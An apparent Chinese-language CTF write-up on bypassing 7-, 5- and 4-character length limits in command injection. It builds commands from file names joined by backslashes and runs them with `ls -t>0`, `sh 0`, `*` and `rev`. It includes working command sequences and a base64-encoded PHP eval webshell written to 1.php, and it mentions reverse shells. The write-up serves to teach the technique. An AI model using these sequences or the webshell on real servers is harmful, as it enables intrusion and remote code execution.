和长度有关的命令执行

前言

打了一下nepnep的CTF,发现有几道题都是和长度有关系,虽然做题的时候都是用很常规的方式去绕过的,没有想到这么妙的方法,(好像这些方法和很早就有了)记录一下吧。

七个字符

先来看看七个字符的吧,如果给了你一个限制,只能让你以最多7个长度来,你怎么做?怎么去写shell

这里有一个很妙的方法,利用拼接,先来看一个例子,我想去构造一个echo TXkwbjlz|base64 -d的命令:

1
2
3
4
5
6
7
8
>\ -d\\
>ase64\\
>lz\|b\\
>Xkwbj\\
>ho\ T\\
>ec\\
ls -t>0
sh 0

看一下0文件的内容:

hack1.png

然后 sh 0 去执行的时候,一开始遇到0,会报错,但并不影响后面命令的执行,\起到一个拼接的作用,最后拼接出来的效果就是:

echo TXkwbjlz|base64 -d ,可以看到效果图如下:

hack.png

可以发现成功输出,核心的思想就是利用拼接,在linux系统里面 \ 起到一个连接的作用。需要注意的几个地方

  • 利用>h 可以直接生成一个名为h的文件
  • 空格需要转义 一下
  • 反斜杠也需要转义一下,不然系统会认为是命令没执行完。ls -t 将文件按照创建的时间排序列出,这个很关键,不然很难保证我们能正确拼接成功。
  • 因为是按照创造时间顺序进行拼接,所以我们开始构造文件名的时候,是按照逆序来的。

当然我们也可以用这个方法直接写个一句话木马 <?php eval($_POST[cmd]); base64编码一下为:PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7

然后我们构造一个命令:

echo PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7|base64 -d >1.php

构造方法和上面是一样的。

五个字符

思路和7个是差不多的,每一次创建的文件名都可以压缩一下长度,只不过是需要执行的次数多了一些,关键就在于最后的

ls -t>0 这是7个字符,可以想办法转换一下,用较短的长度去构造一下这个命令,然后执行一下:

1
2
3
4
5
6
7
>l\\
>s\\
>\ \\
>-t\\
>\>0\\
ls>a
ls>>a

这里用到了>> 追加的方法,因为直接ls>a,我们可以看到顺序是' \' '>0\' 'l\' 's\' '-t\',然后追加以后,我们可以cat a看到:hack3.png

成功凑出来ls -t>0 这个命令,只需要 sh 0 就可以达到 ls -t>0的效果,剩下的就是按照前面的方式构造命令。

不过这个方法会有一个局限,因为是用顺序拼接出来的,如果当前目录存在其他文件名,ls 这个默认会有一个排序,顺序会对结果造成一定的影响,比如我模拟存在index.php和shell.php的情况:

hackforfun.png

可以看到shell.php 卡在了 ls\ 还有ls\-t\ 的中间。这样就拼接不成功了。

四个字符

四个字符的局限就是 ls>>a 这个用不了了。

不过这里有另外一种构思,利用dir 、*、rev

执行* 会把第一个文件名当做是命令,然后后面的文件名都是参数。

1
2
3
4
5
6
7
>dir
>sl
>g\>
>ht-
*>v
>rev
*v>x //这里执行了rev v >x

执行后,发现成功构造:

hack5.png

但是似乎也有局限,我尝试了本地含有index.php也乱了。

写在最后

这个是限制了长度,本质是命令执行,只要长度可控,后面的我们可以用正常的命令执行的思路,所以这里可以除了 写马,也可以反弹shell。 复现的环境是ubuntu。在该环境下仍然发现了很多限制,就是当前目录一开始就有一些文件名的话,可能一定程度上会造成干扰,不过对于7字符似乎就没有这个顾虑。